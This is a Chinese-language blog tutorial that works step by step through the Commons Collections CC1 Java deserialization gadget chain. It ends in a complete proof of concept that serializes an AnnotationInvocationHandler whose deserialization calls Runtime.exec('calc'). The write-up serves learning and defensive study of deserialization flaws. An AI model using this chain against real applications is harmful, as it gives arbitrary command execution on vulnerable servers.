CC1链分析
CC1链分析
因为分析的第一条cc链,所以每个细节都处理到了,之后的cc链就不会赘述很多了,毕竟基本都是大同小异,好好认真分析这第一条链,后面也就掌握了十之七八
环境:
CC1链在JDK 8u71及之后的版本中被修复,因此需要使用JDK 8u71之前的版本
使用的JDK环境为JDK8u66,JDK下载链接如下
可以放入虚拟机而后拷贝到宿主机进行使用,拷贝的具体路径为D:\Environment\JAVA\jdk8u66,而后在IDEA中,新建项目时选择对应JDK版本即可

建立好项目后,我们会发现一些代码,例如在sun包下的代码是.class文件,它的代码是直接反编译出来的,这种不可用来寻找调用同名函数,而且代码难以读懂,因此我们需要提前对其进行配置,我们需要下载其对应java文件至JDK中,具体方法如下
首先下载有漏洞的版本,链接如下
http://hg.openjdk.java.net/jdk8u/jdk8u/jdk/rev/af660750b2f4
而后点击左侧的zip即可下载压缩包

下载完成后,我们回到之前下载中的JDK8U66文件夹中

这里的src.zip为压缩包,我们将其解压在此文件夹下,而后,我们去刚刚下载的zip文件中找到sun包,具体路径为jdk-af660750b2f4\\jdk-af660750b2f4\\src\\share\\classes,而后将其解压到在这个src目录下

接下来在IDEA中选择Project Structure
选择SDKs,并在Sourcepath下添加src包

此时就大功告成了,可以开始分析CC1链了。
也就是图中红色的链条部分

原理分析:
来到漏洞点,InvokerTransformer这个类中有一个方法,transform方法中有明显反射调用方法,可以任意执行方法,我们创建InvokerTransformer这个类,传入参数类型,方法名,参数即可执行。不懂反射的看下这篇文章就行了。即有了能够命令执行的点.
https://blog.csdn.net/kye055947/article/details/88377209
所以transform函数的功能就懂了,可以任意对象调用方法

所以我们确定了一开始的思路,通过InvokerTransformer类,调用transform(runtime对象).其他参数放InvokerTransformer里
当前POC
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(runtime);
这里顺便分析一下几个比较最重要的类,看看其他类重写transform,所以我们可以看看还有什么实现类,先简单了解下

ChainedTransformer,是一个Transformer[]数组
调用transform方法是递归调用其中数组中每个对象的transform方法
2.ConstantTransformer类


也就是说构造时传入什么对象,这个类调用transform就还是会返回那个对象
简单了解了一下其他实现类,接着就查看哪里调用了transform方法(alt+F7)

直接看结果了,checkSetValue()调用了该方法,真实情况下的话肯定每个地方都得看看,我们看看valueTransformer是什么

valueTransformer是TransformedMap类中的一个参数,类型是Transformer
有protected限制,我们看看类中其他方法能否调用

这里找到了一个静态方法decorate(),返回类型是Map,其实相当于做了一个修饰,把map和Transformer键值对封装在一个map里

那我们可以构造下现在的poc,可以通过反射调用checkSetValue(runtime)导致成功执行,但我这里就不写出来了
public class Test1 {
public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException {
Runtime r = Runtime.getRuntime();
//创建Transformer类
InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
//创建一个Map
HashMap<Object,Object> map = new HashMap<>();
map.put("a","b");
//通过TransformedMap类调用静态方法decorate
//我们用到的类InvokerTransformer传到第三个参数中,第二个没用到就不用管
Map transformedMap = TransformedMap.decorate(map, null, invokerTransformer);
}
}

map不能为空,一直跟函数就可以知道,如果为空会抛出异常

我们继续找checkSetValue的调用
只有setValue调用了,这里的value的应为runtime对象才好,我的理解是我们根本不用管这里的parent和entry,因为我们不需要管他们是什么,之前我们分析valueTransformer是因为我们要把invokerTransformer恶意类传入,现在注意点在value这里我们继续反查setValue

这里也是直接说结果,我们很明显能看到在反序列化中调用了这个方法。就算找到了终点站了,接下来的思路就是构造AnnotationInvocationHandler类,使得最后value能为runtime对象,且能够把我们之前创建transformedMap塞进去,整个流程就基本完成了

我们先看AnnotationInvocationHandler类的构造函数,第一个参数是注解类型,如Override,第二个是Map,换句话说我们可以把transformedMap塞进去完成了第一个条件,没有限定符,这里得反射构造

目前的poc就长这样
public class Test1 {
public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException, InstantiationException, IOException {
Runtime r = Runtime.getRuntime();
//创建Transformer类
InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
//创建一个Map
HashMap<Object,Object> map = new HashMap<>();
map.put("a","b");
//通过TransformedMap类调用静态方法decorate
//我们用到的类InvokerTransformer传到第三个参数中,第二个没用到就不用管
Map transformedMap = TransformedMap.decorate(map, null, invokerTransformer);
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor con = c.getDeclaredConstructor(Class.class,Map.class);
con.setAccessible(true);
Object annotationInvocationHandler = con.newInstance(Override.class, transformedMap);
//序列化
new ObjectOutputStream(new FileOutputStream("ser.bin")).writeObject(annotationInvocationHandler);
//反序列化
new ObjectInputStream(new FileInputStream("ser.bin")).readObject();
}
}

接着我们就边调试边改代码,让程序按我们所想的运行

然后发现了第一个if进不去,箭头标注了有关系的几句

其实就是注解中的值


我们换成Target,Target中有值,发现还是null,因为如图,所以我们得把hashmap中的键改成value


接下来两个if都能通过了,遇到了新的问题,我们进入setValue看看


这里的value应该是传入Runtime对象才对,然后调用checkSetValue(value);->valueTransformer.transform(value);

但是我们已经把valueTransformer拿下了对吧。再加上之前提过的一个实现类ConstantTransformer类,我们构造的时候放入什么对象调用transform方法时就会返回什么对象。好,现在返回了Runtime对象。那恶意类InvokerTransformer是不是没有用上了。无妨,还有一个实现类ChainedTransformer类是一个Transformer[]数组,且调用transform时是递归调用刚刚ConstantTransformer类返回的runtime对象再作为value返回transform里的value对象,这样就完美解决了value不可控问题
所以我们要定义一个transformer数组,代码现在修改成这样的,我们继续调试,看还有没有问题
public class Test1 {
public static void main(String[] args) throws Exception {
Runtime r = Runtime.getRuntime();
//创建Transformer类
InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
//创建ChainedTransformer类
ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{
new ConstantTransformer(Runtime.getRuntime()),
invokerTransformer,
});
//创建一个Map
HashMap<Object,Object> map = new HashMap<>();
map.put("value","b");
//通过TransformedMap类调用静态方法decorate
//我们用到的类InvokerTransformer传到第三个参数中,第二个没用到就不用管
Map transformedMap = TransformedMap.decorate(map, null, chainedTransformer);
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor con = c.getDeclaredConstructor(Class.class,Map.class);
con.setAccessible(true);
Object annotationInvocationHandler = con.newInstance(Target.class, transformedMap);
//序列化
new ObjectOutputStream(new FileOutputStream("ser.bin")).writeObject(annotationInvocationHandler);
//反序列化
new ObjectInputStream(new FileInputStream("ser.bin")).readObject();
}
}
但还是不不行,因为Runtime对象传入ConstantTransformer,很明显序列化对象图的递归性 即使Runtime被封装也无法被序列化,如何绕过,这里利用到了runtime.class类可以被序列化以及InvokerTransformer可以执行任意方法与ChainedTransformer链式调用绕过,下面就是对照的转化的过程
第一部分是利用runtime.class执行,虽然还是创建了runtime对象,但解决了一开始就传入Runtime对象的问题。
第二部分就是对照着把方法调用转化成InvokerTransformer类

对照着转就行了
//通过ConstantTransformer类返回Runtime.class作为参数对象
Class c = Runtime.class;
Method getRuntime = c.getMethod("getRuntime", null);
Runtime r = (Runtime) getRuntime.invoke(null, null);
r.exec("calc");
ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null,null}),
//Runtime对象调用,直接调用exec就行了
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
});
综合之前的代码最后就是
POC:
public class Test1 {
public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException, InstantiationException, IOException {
//创建ChainedTransformer类
ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null,null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
});
//创建HashMap
HashMap<Object,Object> map = new HashMap<>();
map.put("value","b");
//通过TransformedMap类调用静态方法decorate
//我们用到的类InvokerTransformer传到第三个参数中,第二个没用到就不用管
Map transformedMap = TransformedMap.decorate(map, null, chainedTransformer);
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor con = c.getDeclaredConstructor(Class.class,Map.class);
con.setAccessible(true);
Object annotationInvocationHandler = con.newInstance(Target.class, transformedMap);
//序列化
new ObjectOutputStream(new FileOutputStream("ser1.bin")).writeObject(annotationInvocationHandler);
//反序列化
new ObjectInputStream(new FileInputStream("ser1.bin")).readObject();
}
}
最后成功

浙公网安备 33010602011771号